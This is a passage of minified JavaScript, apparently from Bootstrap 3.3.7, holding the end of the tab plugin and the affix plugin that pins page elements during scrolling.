.active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.7",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e<c&&"top";if("bottom"==this.affixed)return null!=c?!(e+this.unpin<=f.top)&&"bottom":!(e+g<=a-d)&&"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&e<=c?"top":null!=d&&i+j>=a-d&&"bottom"},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);


--------------------------------------------------------------------------------